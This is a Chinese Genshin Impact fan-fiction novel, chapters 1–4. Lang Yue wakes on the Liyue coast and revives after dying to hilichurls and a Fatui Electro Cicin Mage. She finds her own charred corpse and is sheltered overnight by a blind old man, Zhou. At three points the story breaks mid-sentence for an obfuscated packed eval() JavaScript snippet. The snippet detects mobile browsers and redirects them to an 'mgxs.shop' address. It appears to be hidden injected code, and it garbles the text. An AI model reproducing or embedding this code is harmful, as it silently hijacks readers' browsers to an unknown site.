《于世界之外醒来(原神同人)》 1. 第 1 章 浓烈的海风气味强硬地钻进鼻腔,紧随其后的是耳朵里灌满的、单调而宏大的潮汐声——哗啦,退去,又哗啦地涌上。 湿冷,咸腥。 这两种感觉拧成一股,不由分说地撬开她的感官,硬生生把她从一片漆黑的昏沉里拖了出来。朗樾猛地吸了口气,灌了满嘴咸涩,呛得她弓起背剧烈咳嗽,咳得眼泪都迸出来。 咳嗽牵动了全身,酸痛从骨头缝里往外渗。她艰难地睁开眼,睫毛上黏着的沙粒掉进眼里,磨得生疼。视野模糊了好一阵,才勉强清晰。 她撑起上半身,手臂抖得跟筛糠似的。 眼前是一片望不到头的灰蓝色海面,天压得很低,铅灰色的云层沉沉地坠着,好像随时会砸进海里。海浪一遍遍刷着沙滩,留下白沫,又咝咝地退回去。哗啦,哗啦,单调得让人心慌。 朗樾低下头,看见自己坐在一片宽阔的灰沙滩上,沙子里混着碎贝壳和小石子。她的牛仔裤和浅蓝色卫衣湿透了,紧紧巴在身上,风一吹,冷得她打了个哆嗦,鸡皮疙瘩瞬间爬满手臂。 “这……是哪里?” 她动了动嘴唇,声音沙哑得像砂纸磨过木头。 记忆断了片。昨晚明明应该在宿舍赶论文,喝了第三杯咖啡,然后……然后呢?头突突地跳着疼,越想越是一片空白。 朗樾摇摇晃晃地站起来,赤脚陷进沙子里,留下几个歪歪扭扭的坑。陌生环境带来的心慌让她在原地转了两圈,视线仓皇地扫过空茫的海和沙滩,想找点眼熟的东西。 没有人。 没有房子。 没有她认识的任何玩意。 就是一条完全陌生的海岸线。 她望海里头看,几座深褐色、形状古怪得有点吓人的岩石杵在海平面上,像被谁随手扔在那里的巨型垃圾。一丝极其微弱的熟悉感划过心头,快得没抓住。 目光漫无目的地飘着,掠过海,掠过沙,最终,无意间撞向左后侧群山之上那片天……她眼皮一跳,视线像被钉死在那里,再也挪不动分毫。 在地平线最朦胧的边缘,一座巍峨的、纯净的雪山,静静地矗立。 雪山! 朗樾呼吸停了一拍。在南方城市活了二十年,雪都没见过几回,雪山只在屏幕里见过。真摆在眼前,那种壮美有点不真实。但下一秒,更大的困惑砸了过来——等等,海边?她低头看看自己湿冷的单衣,感受着这凉飕飕但绝谈不上严寒的天气。海边上哪儿看雪山去? 她的脑子有点转不过弯。 像是被什么无形的东西牵着,她的目光死死锁在那片纯白里最扎眼的一点——挂在主峰边儿上,悬空倒立着一个极其规整、锋利的锥子,通体泛着淡蓝色的幽光,看着就不像人间该有的东西,冰冷,神秘。 朗樾的呼吸彻底停了。 那个结构……那个形状…… 她脑子里有什么东西在嗡嗡作响,拼命要把那点熟悉的影子捞上来。突然,一个名字、连同它所关联的那个浩瀚的、她耗了上千个小时泡在里面的游戏世界,毫无预兆地在她颅内炸开—— 寒天之钉。 “不……” 她往后退了一步,脚后跟陷进沙里。 “不可能……” 又退一步。 “这绝对不可能!” 她几乎是吼出来的,声音在海风里劈了叉。 是梦。肯定是梦。一个做得太细、太他妈的离谱的噩梦。 朗樾用力掐了一把自己胳膊,疼得她“嘶”了一声。她弯下腰,抓起一把沙子,粗糙的颗粒硌着掌心。她把沙子举到面前,看着它们从指缝里漏下去,被风吹散。 太真了。 每一个细节都真得吓人。 她哆嗦着从湿透的裤袋里摸出手机。按亮,电量还有87%,可信号栏那里,空空如也,干净得刺眼。 她愣了大概两秒,直接戳开了那个熟悉的卡通图标——《原神》。 音乐响了,云中步道弹出来,顶上一个小黑框:无法连接网络。 退出,再试。一样。 第三次点的时候,手指抖得差点拿不住手机。还是失败。 “打开啊……你倒是给我打开啊……”她喃喃着,眼泪不知道什么时候滚了下来,混着海风的咸味。要是游戏能开,至少证明这只是块玻璃后面的世界,不是真的。 但它就是打不开。 现实却一点商量余地都没有,继续摊开在她面前:陌生的海滩,身后的山,杵着的雪山和冰钉子,还有海里那些看起来就不像自然产物的石头堆——孤云阁。又一个名字蹦了出来。 朗樾一屁股瘫坐在沙滩上,手机从手里滑下去,屏幕朝下拍进沙子里。她抱住膝盖,把脸埋进去,身体控制不住地抖。 不知道过了多久,她抬起头,脸上沙子和泪痕糊成一团。 “得离开这儿……”她哑着嗓子对自己说,找个能藏身的地方。 重新抓起手机,用湿袖子胡乱擦了擦屏幕上的沙,朗樾摇摇晃晃地站起来,转身朝身后的丘陵地带走去。 沙滩和丘陵交界处挤满了低矮的灌木和些奇形怪状的植物。朗樾赤脚踩在碎石和贝壳渣上,每一步都像踩在刀片上。她找到一条像是被什么动物踩出来的小径,沿着它往上爬。 丘陵不高,但坡挺陡。朗樾抓着沿途的灌木枝条借力,枝条上的刺划破了卫衣袖子,在手臂上拉出几道血口子。等终于爬到一个小坡顶,她已经喘得跟拉风箱一样,浑身是汗。 站在这里,看得远了些。能更清楚地瞅见雪山和寒天之钉,也能确认正前方海里那孤云阁的轮廓。她转过身朝西南方眯眼望去——那边,在渐渐暗下来的天色里,似乎有一缕细细的烟在往上飘。 炊烟! 是人生火做饭的痕迹! 一点微弱的希望,像火柴头擦亮的那一下,在她心里冒了烟。 她必须去那边。 朗樾观察了一下地形,决定沿着丘陵的脊线往西南方向走。这样位置高,看得清周围,也能避开沙滩上可能有的麻烦。 她开始往西南走。 丘陵上的植物越来越密,那条小径时有时无。朗樾不得不手脚并用,在灌木和石头缝里钻。牛仔裤被划破了好几个口子,膝盖也擦破了,渗着血珠。 太阳慢慢爬到了头顶的位置。 朗樾又累又饿,嗓子眼冒火。她觉得自己至少走了俩钟头,可那缕炊烟看着还是那么远。绝望又开始一点点漫上来,比海水还凉。 就在她打算停下来喘口气的时候,前面传来了水声。 是溪流! 朗樾精神一振,加快步子朝水声挪过去。拨开一片茂密的灌木,一条大概两米宽的小溪出现在眼前。水很清,能看见底下的石头,从丘陵高处流下来。 她几乎是扑到溪边的,掬起一捧水就往嘴里送。 水很凉,带点甜。这是她醒过来喝到的第一口水。她贪婪地喝了好几捧,直到感觉水都快噎到嗓子眼了。 喝饱了,她才注意到溪流对岸的灌木丛在晃。 有东西。 朗樾屏住呼吸,慢慢地往后缩。 灌木丛被扒开,三个矮墩墩的身影钻了出来。 它们大概一米多高,身上光溜溜没毛,皮肤是灰黑色的,脸上都扣着画了图腾的全封闭面具,胸口和脚丫子光着,下面就围了块破布。 她认识这玩意儿。 每个玩《原神》的都认识。 丘丘人。 最普通、最常见的魔物。 那三个丘丘人也看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17307606|198725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见她了。它们停下来,歪着脑袋打量这个没见过的东西。过了几秒,其中一个举起手里的木棍,指着朗樾,发出一串尖利又听不懂的嚷嚷: “Ya! Ya! Yuk!” 另外两个也跟着举起武器,嗷嗷叫起来。 朗樾转身就跑。 她沿着来时的路没命地狂奔,赤脚踩在碎石和荆棘上,疼,但被更大的恐惧盖过去了。她能听见身后丘丘人的叫声和咚咚的脚步声,它们追过来了。 她不敢回头,只管拼命往前蹿。 肺像要烧起来,腿沉得像绑了沙袋。她冲下丘陵的斜坡,脚下突然一滑—— 她尖叫着滚了下去,天旋地转,石头和灌木茬子硌着身上哪儿都疼。 最后,后脑勺重重磕在一块凸起的石头上。 咚的一声闷响。 剧痛。 然后,眼前全黑了。 咸腥。 湿冷。 朗樾猛地睁开眼,大口喘气。 她正仰面躺在沙滩上,身下是粗糙的沙砾。灰蓝色的海面在眼前展开,海浪冲刷着海岸线,哗啦——哗啦—— 阳光晒得她眼前发黑,忍不住挡了挡。 她坐起来,愣了两秒,然后抬手摸向后脑。 没有伤口。没有血迹。没有疼痛。 但她清晰地记得那一刻——后脑撞击岩石的钝响,剧痛,然后黑暗。 “这剧本不对啊。” 她喃喃道,又摸了一遍。后脑勺结结实实磕在石头上,怎么着也该开瓢了吧? 她低头看向自己的手臂。之前攀爬丘陵时被荆棘划破的伤口消失了。牛仔裤上被划破的口子还在,但膝盖上的擦伤也不见了。她盯着膝盖看了很久,好像多看几秒那些伤口就能自己长回来似的。 它们没有。 衣服还是湿的,但像是刚被海水浸湿,而不是在丘陵间跋涉了几个小时后的汗湿。她抬起胳膊闻了闻——没有汗味。干净的、崭新的海水味。 朗樾站起来。动作很慢,像怕惊动什么东西似的。 环顾四周。 这是她最初醒来的那片沙滩。海面上,孤云阁的岩峰矗立。左后方,龙脊雪山和寒天之钉清晰可见。 一切如初。 那几个小时的跋涉、口渴、恐惧、追逐和死亡,好像只是一场过于真实的噩梦。 但如果是梦,为什么每一个细节都那么清楚? 她记得溪水的凉,记得荆棘划破皮肤的刺疼,记得丘丘人尖锐的叫声,记得滚下山坡时石头硌进后背的疼,记得最后那一刻后脑的钝响—— 朗樾突然弯下腰,干呕起来。 什么都没吐出来,只有酸水烧灼着喉咙。她维持着这个姿势,双手撑在膝盖上,一动不动。海风吹过来,海浪退下去又涌上来,哗啦,哗啦。 过了很久——也许是几分钟,也许是一个世纪——她才直起身,一屁股瘫坐在沙滩上。 抱住自己。 不是梦。 她死了。 然后……活了。 “……所以我是那种有存档的游戏角色?” 声音很平,平得像在陈述天气。但手指还在抖,指甲掐进手臂里,留下几道白印。 朗樾维持着这个姿势,盯着海面发呆。脑子里空空的,又好像塞满了东西,哪个都想不清楚。潮水涌上来,差一点就舔到她的脚,又退回去。涌上来,退回去。 不知道过了多久,她终于动了。 她站起来,看向丘陵的方向。 丘丘人应该还在那儿。 “行吧。” 她对自己说,拍拍屁股上的沙子,“我还没存档呢,第二次总得学聪明点。” 这次她选择沿着海岸线,至少视野开阔,不容易被偷袭。 2. 第 2 章 赤脚踩在沙滩上,一步一个坑。沙子被太阳晒得温热,踩下去软绵绵的,但走久了脚底板开始发麻,像是隔着一层厚布踩石子——钝钝的疼,不尖锐,但一直在。 太阳升到了头顶。天不再那么阴沉,铅灰色裂开几道缝,露出后面寡淡的蓝。海风吹过来,带着腥气,黏糊糊地贴在皮肤上。 朗樾走得不快,眼睛没闲着。扫过沙滩,扫过海浪,扫过远处每一块能藏东西的礁石和灌木丛。耳朵也竖着,除了海浪声就是风声,暂时没有别的。 一个小时后,她停下了。 前面是个小海湾,海湾里斜插着一艘破船,船身歪着,半截泡在水里,剩半截露在外面,木板已经朽烂发黑。 船旁边站着个人。 朗樾的脚钉在沙子里。 那是个女人。穿着深紫色和黑色相间的裙子,裙摆缀着繁复的蕾丝,一层叠一层。宽檐帽压得很低,帽檐下露出半张面具——苍白,光滑,只露着下巴和一截涂得发暗的嘴唇。手里握着根法杖,法杖顶端悬着颗紫色晶体,晶体周围噼啪闪着细小的电光。 更扎眼的是她身后——三颗同样的晶体,围着她缓缓转圈,转得很慢,像行星绕着恒星。嗡——嗡——嗡——空气里多了点说不清的振动。 朗樾认出来了。 雷萤术士。 愚人众那些精英里的一个。游戏里等级低的时候碰上了都得打起精神对付的那种,而现在的她,连根棍子都没有。 她往后退了一步,又退一步,躲到一块礁石后面。 心脏跳得厉害,咚咚咚撞着胸腔。 雷萤术士没往这边看。她低着头,专注地盯着手里的法杖,偶尔抬手拨一下身后转圈的晶体,像在调整什么。 朗樾贴着礁石,慢慢往旁边挪。她不敢探头,只能凭刚才的记忆判断位置。左边是海,右边是礁石和灌木丛,前面是那个海湾。想过去必须经过那片开阔地,绕不过去。 那就等。等她走了再走。 她蹑手蹑脚地往礁石缝里缩,想找个更深的地方藏起来。后背蹭着粗糙的石头,脚底下尽量不发出声音。 然后她听见一声笑。 “哦呀?” 那声音很近。近得像是贴着耳朵说的。 朗樾僵在原地。 “有个漂亮的小宝贝在偷看呢~” 清脆,悦耳,还带着笑。但那种笑不是友好的笑,是猫看见老鼠躲在墙角时的那种笑。 朗樾慢慢转过头。 雷萤术士就站在她另一边,只有两三步远的地方,歪着头,面具正对着她。看不见眼睛,但朗樾能感觉到那视线——从上到下,像在打量一件有趣的小玩意。 “要不要一起玩呀,小宝贝?” 法杖轻轻一挥。 三颗围着雷萤术士转的晶体突然飞向朗樾,嗖的一下,在她周围围成一个三角形。晶体开始发光,紫色的电弧从一颗跳到另一颗,噼里啪啦,织成一张电网。 朗樾尖叫着往外冲。 没冲出去。 电流落下来的时候她甚至没听见声音。只有光——紫色的光填满整个视野——和痛。 那种痛没法形容。不是被烫,不是被砍,不是任何她体验过的痛。是全身每一块肌肉同时痉挛,每一根神经同时尖叫,心脏像被人攥在手里使劲捏,肺里的空气被强行挤出去,她甚至叫不出来,因为喉咙也痉挛了,堵住了。 她摔在沙滩上。身体还在抽,手脚不听话地乱蹬。眼前全是紫光,耳朵里只有嗡嗡嗡的耳鸣,还有越来越近的脚步声——踩在沙子上,沙沙沙,很轻,很优雅。 能闻到一股焦糊味。不是木头烧焦的那种,是另一种味道,刺鼻,陌生。 然后什么都看不见了。 咸腥。湿冷。 朗樾睁开眼。 她躺在沙滩上。还是那片沙滩,还是那个位置。海浪哗啦哗啦地刷着海岸线,太阳躲在云后面,显得有点暗。 后背还有一点麻麻的感觉,像被静电打过之后残留的那种。不疼,但存在。 她躺着没动。盯着天上灰扑扑的云,盯了很久。 然后笑了一声。 “哇哦。所以是无限重生?”她说,声音沙沙的,“成就系统也没给我跳一个。” 没人接话。海浪哗啦哗啦的。 她坐起来,拍掉身上的沙子。一下,一下,拍得很慢。 拍完了,站起来。 看向丘陵的方向。 第一次,死在丘丘人手里。 第二次,死在愚人众手里。 这一次,她不打算死了。 朗樾觉得她比之前任何时候都要冷静。她抬起手腕,看了看表。 15:06。 第一次醒来的时候太阳刚升起没多久,现在它已经走过了大半天空,往西边斜过去了。按照这个进度,天黑之前她不可能走到任何安全的地方。 当务之急是找到过夜的地方。 她想了想,还是决定继续往西走。至少这段路她走过两遍了,知道哪儿有礁石哪儿有灌木。何况她隐约记得璃月的地图,海岸线往另一边走可能更没出路。 这次她走得更稳。 一个小时后,她停下了。 前面就是那个海湾。破船还在,半截泡在水里,随着浪一晃一晃。 但她没看见雷萤术士。 海湾空着。只有海浪,只有风,只有那艘破船孤零零地杵在那儿。 朗樾没急着过去。她躲在一块礁石后面观察了很久,确认没人,才慢慢往前走。 走近了,她闻到一股味道。 不是海腥味,也不是腐烂的气味。是一种更干燥、更……无机质的味道。像是金属烧灼后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17307607|198725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冷却的味道,又混杂着蛋白质焦糊的气息。 直到她来到之前的那座礁石。 然后停住了。 在那块巨大的礁石之间,有一小片沙地的颜色显得格外深暗。那不是阴影,也不是潮湿的痕迹,而是一种不均匀的、斑驳的焦黑色。在那片区域周围的沙粒,呈现出一种被高温瞬间炙烤过的、玻璃化的光泽。 焦黑的正中间,躺着一个人——或者说一个曾经是人的东西。 朗樾的呼吸停了。 那具尸体已经完全碳化了。皮肤是黑的,龟裂的,像烧透的木柴。四肢蜷缩着,扭曲着,维持着死前最后一瞬间的姿势——那是极高温度下肌肉瞬间收缩的典型姿态。衣服已经没了,只剩几片烧得残缺的布料黏在焦黑的皮肉上。脸没法辨认,只剩一团模糊的、炭化的轮廓。 最扎眼的是左手臂。 那只手臂以一个奇怪的角度弯着,手腕上套着一圈浅色的、没完全烧化的东西。是个表带。尼龙的,白色的,烧得发黄发黑,但还能认出来。表盘已经碎了,熔了,和手腕的焦肉黏在一起,分不清哪是哪。 朗樾低下头。 自己的手腕上,同样款式的电子表完好无损地戴着。表盘显示16:22。表带干净,表盘清晰,没有一丝裂痕。 她往后退了一步,后背撞上礁石。石头很凉,冰得她一激灵。 那是她的尸体。 是第二次死的时候留下的。 朗樾盯着那团焦黑的东西,盯了很久。脑子里冒出来的第一个念头居然是:原来雷劈死的人是这个姿势。 这个念头只闪了一秒,就被别的念头盖过去了。 没有野兽啃咬的痕迹。没有海鸟啄食的痕迹。就那么完整地躺在那儿,除了被雷劈过之外没有任何别的损伤。 雷萤术士杀了她,然后走了。连多看一眼都懒得。 这种漠然比残忍更让人发寒。 朗樾慢慢绕开那片焦黑的沙滩,继续往前走。走出去很远,她才回头看了一眼。那团焦黑的轮廓缩在礁石的阴影里,像一小块不起眼的垃圾。 她回过头,继续走。 一边走一边想。 重生会修复致命伤,但不会改变身体原本就有的东西。她抬起手看那个表带,又看自己小拇指第二节那个小时候划伤的凹痕——都还在。 另外,旧的身体也会留下。 死了几次,就会留下几具尸体。不同死法,不同位置,但都是她。 以后要是死得多了,这海边会不会到处都是她的尸体?被电死的,被砸死的,被丘丘人乱棍打死的,一具一具,横七竖八。 这个念头让她又笑了一声。 “下次死远点儿。”她自言自语,“死一堆儿太占地,不环保。” 海浪哗啦哗啦的,没人理她。 她没再回头。 3. 第 3 章 不知又走了多久,天色一点点暗下来。朗樾一边走一边看,找能藏人的地方。太阳越来越低,天从橙黄转向暗红。 这时候海岸线开始拐向西南方向。前面出现一片更开阔的沙滩,沙滩尽头是陡峭的岩壁。岩壁底部有几个凹进去的地方,看着像被海水啃出来的浅洞。 朗樾加快脚步。她得在天黑前找个地方过夜。 就在她快走到岩壁时,她听见了声音。 不是海浪,也不是风。 是哼歌。 一个苍老的、沙哑的声音,断断续续哼着什么调子,不成调。 朗樾立刻停下,轻手轻脚躲到一块礁石后面,只敢探出半个头,往声音那边看。 岩壁下最大的那个凹陷里,坐着个人。 一个老人。 他背靠着岩壁,脸朝大海,手里拿了根长木棍,一下一下敲着地。穿破旧粗布衣服,头发花白乱糟糟,在脑后扎了个松垮的发髻。眼睛闭着,自顾自哼着。 朗樾一动不敢动。 那根棍子敲地的节奏一直没变,哒、哒、哒,平稳得有些反常。她忽然想,要是给这节奏配上歌词,大概会是“没人来,没人来,没人来”。 她屏住呼吸,继续打量。 看着挺普通。身上没武器,没奇怪的地方。敲地的动作慢吞吞的,像在打发时间。最扎眼的是眼睛——虽然闭着,但眼睑那块儿凹下去,像里头没眼珠子。 盲人。 朗樾没动。她在等。 等什么?不知道。也许等他走,也许等他露出点什么破绽。天快黑了,她需要个安全的地方过夜。这老头看着没威胁,但他一个人待在这荒滩上,本身就不对劲。 正想着,老人突然不哼了。 没睁眼。但他头往朗樾这边偏了偏。 朗樾后背一紧。她缩在礁石后,连气都不敢喘。海浪声很大,她离得也远,他不可能听见。 但他就是偏过来了。像知道这儿有人。 “谁在那儿?”声音很平,不惊讶,也不警惕,像在问熟人。 朗樾没动。也没出声。 老人等了几秒,没听见回音,又转回去,继续拿棍子敲地。哒、哒、哒,还是那个节奏。 “要是迷路了,就出来吧。”他对着空气说,声音不响,但够清楚,“天快黑了,外头不安全。” 朗樾咬着嘴唇。她知道他说得对。太阳已经快碰到海面,天只剩最后一抹红。夜要来了,她没地方去。 但她还是没动。 又等了一会儿。老人没再说话,也没再往这边偏头。只是继续敲,继续哼那支不成调的曲子。 朗樾深吸一口气,暗自打气,从礁石后走出来。 但她没走直路。她沿着礁石边缘绕了半个圈,换了个方向靠近。走得极轻,每一步都踩在沙子上最软的地方,几乎没有声音。 她想试试。 老人的头跟着她转了一点。 很轻微。但确实转了。 朗樾停下。他也停下。 然后他又把脸转回去,继续对着海,像什么都没发生过。 朗樾站在原地,手心有点出汗。 又过了会儿,她慢慢走过去,在离他十几步远的地方停下。 “我……”她开口,嗓子发干,“我迷路了。” 老人点点头,脸上没意外。“从瑶光滩那边过来的?” 瑶光滩?对,肯定是瑶光滩。她之前压根没想起这名字。 “……你怎么知道?” “风告诉我的。”老人说得随意,像在说今天天气不错。 这话没法儿接。她站在那儿,看着他。 老人也没动。就那么坐着,脸朝海,闭着眼。木棍横在膝盖上。 “你是盲人?”朗樾问。 “是。” “那你刚才怎么知道我躲在那边?” 老人沉默了一会儿。“风告诉我的。” “又是风。”朗樾说,“风还告诉你我换方向走了?” “嗯。” “你拿我当傻子?” 老人没回答。嘴角动了一下,不知道是想笑还是什么。 朗樾等了几秒,见他不说话,又说:“你眼睛看不见,风怎么告诉你?风会说话?” “不会说话。”老人说,“但风从哪儿来,往哪儿去,碰到什么东西绕开,碰到什么东西穿过去,都不一样。” 他顿了顿,抬起一只手,对着空气晃了晃。 “你站在那边的时候,风从你身边过,被挡了一下。你往这边走,风被挡的地方就跟着动。我看不见你,但我能感觉到风。” 朗樾愣住了。 她低头看了看自己,又看了看四周。海风吹着,确实一直没停。 “……就这么简单?” “就这么简单。”老人说。 朗樾不知道该说什么。她站那儿,盯着他看。天快黑了,他的脸在暗下来的光线里看不太清。只有轮廓,和偶尔被海风吹动的几缕花白头发。 听起来挺玄。但细想又好像说得通。盲人耳朵灵,她知道。那盲人感觉风的方向变化,好像也不奇怪。 她应该走。这人太怪了。 但她没走。一是天黑了没地方去。二是……他虽然怪,但没动。没站起来,没拿棍子指向她。就那么坐着。 “我能在这儿过夜吗?”她问。 老人点了点头。“过来吧。这儿能避风。” 朗樾没有马上过去。她忍不住问:“你就不怕我是坏人?” 老人愣了一下,然后笑了。那种笑很轻,像风吹过干草的声音。 “坏人不会先问这个。”他说,“坏人会直接过来,或者直接跑。” 朗樾想了想,觉得这逻辑好像也没错。 她慢慢走过去。岩壁下的凹陷比她想的深一点,大概两米深,三米宽。地上是干的沙土,角落里堆了些干草和一个破陶罐。 老人在凹陷中间坐着,没挪地方。朗樾在离他几步远的地方坐下,背靠着另一侧岩壁,面向他。 中间隔着火堆的位置。火还没生,但柴已经堆好了。 “你一个人?”老人问。 “嗯。” 老人点点头,没立刻接话。他拿棍子敲了两下地,哒、哒。 “能走到这儿,运气不错。”他说,听不出是夸奖还是随口一说。 又敲了两下。 “晚上有魔物出来,像丘丘人,有时候水里的东西也上岸。你该找个地方躲起来。” “我知道,”朗樾说,“所以我才——” 没说完,老人打断她:“你从哪儿来?不是问瑶光滩,是问更远的地方。” 朗樾沉默了一会儿。 “不记得了。”她说,“醒来就在沙滩上。就记得自己名字。” 除了这个理由,她不知道能怎么说——难道告诉他,她来自另一个世界? 老人没追问。“那你接下来打算去哪?” “不知道。”朗樾苦笑一下,“也许去蒙德或者璃月港?我不太认得路。” “都不近呢。”老人说,“这儿是璃月的东海岸,往西走,前面就是明蕴镇,镇上已经没人了。从明蕴镇的大路口过石桥,到归离原。望舒客栈离那儿不远,有人烟,有千岩军。” 望舒客栈。千岩军。 朗樾没说话。她把这两个词在嘴里嚼了嚼。是真的。不是梦。胃里有个东西往下坠了坠,又浮起来。 “谢谢,”她说,“我明天就去。” 老人点点头,没再说话。他摸索着从角落拿起几根易燃的干枝——这回是真摸索,手在沙地上探,碰到干枝才拿起来——放在架好的柴堆上,拿火石点着。橘黄的火光亮起来,驱散黑暗,也带了点暖意。 朗樾盯着他摸索的动作。和刚才“看见”她的时候完全不一样。刚才像是知道她在哪儿,现在像是真的瞎。 她没说话。只是看着。 “冷吧?”老人问。他调整着火堆,像能感觉到她哆嗦。 “有点。”朗樾承认。她衣服就没干透过。 老人没再说话,把火拨旺了些。他从陶罐里倒了点清水,架在火边热着,又拿出两块硬邦邦的、像干粮的东西,递给她一块。 “吃吧。不多,但能顶一阵。” 朗樾接过来,小口啃。干粮很硬,又没味道,但胃里有了东西,身上慢慢暖了。 老人自己也吃,动作很慢,像在品什么。 火堆噼啪响。朗樾盯着火苗看,看它一会儿高一会儿低,一会儿往左边歪一下,一会儿又直起来。老人坐在火堆另一边,脸被光晃得一明一暗。那些皱纹很深,一棱一棱的,像海边的岩石被风蚀出来的纹路。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17307608|198725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 她忽然想问他今年多大,又觉得这个问题太过冒昧,便没问。 “您怎么一个人在这儿?”她最后选了个话题。 老人嚼的动作停了一下,然后继续。“等人。” “等人?” “等一个……不知道还能不能见着的人。”老人的声音很轻,被火声和浪声吃掉一半。他没解释,朗樾也没再问。 她心想:这随便遇上一个海边老人就是一个有故事的人。也不知是什么运气。 沉默了很久。只有火噼啪响,浪哗哗响。 火堆小下去。老人添了柴,火又起来。 “睡吧,”他说,“我守夜。” 朗樾想说什么,老人摆摆手。“我习惯了。你明天赶路,得睡。” 朗樾没有再犟。她在凹陷最里头躺下,身下是老人分的干草。兽皮盖在身上,粗糙,但暖和。 她看着老人的身影。他坐在火堆旁,背微微佝偻,木棍横在膝盖上,闭着眼。 但她睡不着。 她盯着他看。看了很久。 他始终没动。就那么坐着。火光照着他,他的影子在岩壁上晃。 然后她注意到一件事。 他闭着眼。但他坐的方向,正对着她。 不是对着火堆,不是对着海,是对着她。 她翻了个身,背对他。等了一会儿,又悄悄翻回来。 他还是对着她。 她躺在那里,隔着火堆,看着他。 “睡不着吗?”老人忽然问。 朗樾惊了一下,赶紧道:“……没有,这就睡了。” 风。她想。又是风。风告诉他我翻身了。 这人太怪了。 但她这会儿没觉得害怕。就觉得这是个奇怪的人。 看着看着,她眼皮沉了。 不知过了多久,她睡着了。 —— 第二天清早,朗樾被海浪声和鸟叫声唤醒。 她坐起来,发现老人已经起了,正坐在凹陷口,脸朝大海。晨光将他的影子投在岩壁上,看起来像屹立了几百年的沉默大石头。 “醒了?”老人微微转头,“天亮了。” 朗樾站起来,活动发僵的身子。衣服半干了,贴着没那么难受。她走到老人身边,往外看。 海在晨光里泛着浅浅的金,天是淡蓝,云很薄。一夜的风好像过去了,世界又安静了。 “给。”老人递给她一个旧羊皮水囊,里面灌满了水,“路上喝。”说完,又摸出一个小布包,“这儿有些肉干和野果。省着点。” 朗樾接过。水囊沉甸甸的,布包里有四五块硬肉干和几个表皮粗糙的野果。她认真鞠了一躬:“真的……谢谢您。还没请教,怎么称呼您?” 老人沉默了很久。久到朗樾以为他没听见,准备再问一遍。 然后他说:“我姓周。” 说完他转过去,对着海。“走吧,趁着日头还没全起来,凉快些。记住我说的:沿着海边往西,看到断桥就过去,那边是归离原。过了归离原往北走,就能见着望舒客栈了。” “断桥?” “嗯,断了很多年了,只能从桥下走。”老人顿了顿,“过桥时小心,那段路不太平。” 朗樾把这话记在心里。她背好水囊和布包,又冲老人道别,“再见,周伯。谢谢您。” 老人的声音从身后传来,很轻:“孩子,保重。” 朗樾走出去几步,忽然停下来,回头看了他一眼。 老人还坐在那儿,面朝大海。晨光照着他,他的背有点佝,但坐得很稳,像嵌在岩壁底下的一块礁石。海风吹过来,他也没动。 他昨晚说,他在等人。 朗樾忽然想知道他在等谁,又等了多久。但她没开口。 有些事,问了也是白问。 她转回头,继续往前走。 走出去很远,再回头,老人还在那儿。很小的一点,快看不清了。 朗樾收回目光,摸了摸布包里的肉干。 运气不错。碰上个好人。 她顿了顿,心想:要是以后还能碰上就好了。 又走了几步,忽然想起:“要是再死一次,又从这儿过,就能碰上了。” 想完觉得这念头晦气,轻轻“呸”了一声。 海浪哗啦哗啦的,没人理她。 4. 第 4 章 出发时,朗樾看了眼时间,上午七点十分。 清晨的海风带着咸腥的凉意。赤脚踩在粗糙的沙砾和碎贝壳上,每一步都传来细微的刺痛——但她已经不太在意了。疼就疼吧,反正死不了。 左边是灰蓝色的海,平铺过去,没个尽头。右边的丘陵渐渐有了起伏,矮的二三十米高,坡上长满叫不出名字的荆棘和野草,密密匝匝的。天蓝得发透,不像昨天那样死气沉沉地压着,是那种能望见很远很远的那种蓝。 走了约莫一个小时,海岸线的样子开始变了。沙滩越来越窄,换成了大片大片黑乎乎的礁石,嶙峋地堆着,渐渐和山连在一起。海浪撞上礁石,砰的一声炸开,碎成一蓬白沫,溅得老高。 朗樾不得不离开沙滩,爬上礁石区边缘稍微平缓点的坡地,从上面绕。地上全是碎石和滑腻的海藻,得手脚并用。她一边爬一边想:这要是在游戏里,至少得有个背景音乐吧。但是没有。只有海浪声,只有风,只有她自己,像只猴子一样在石头上爬。 上午八点过,太阳升起来了。阳光毫无遮挡地倾泻下来。朗樾停下,在一块平点的岩石上坐下,打开水囊小心地喝了两口。她拿出布包,掰了一小块肉干放进嘴里,用唾液慢慢泡软。 肉干硬得像晒透的树皮,牙咬上去只留下两道白印子。含了半天才软下来一点,咸味化开,苦嗖嗖的,咽下去的时候嗓子眼儿直发紧。 休息了大概十分钟,继续走。 沿着礁石区边缘往西北方向走,地势慢慢高起来。当她爬上一处比较高的岩脊时,视野一下子打开了。 前方,海岸线在这里被一道宽阔的水道切断。 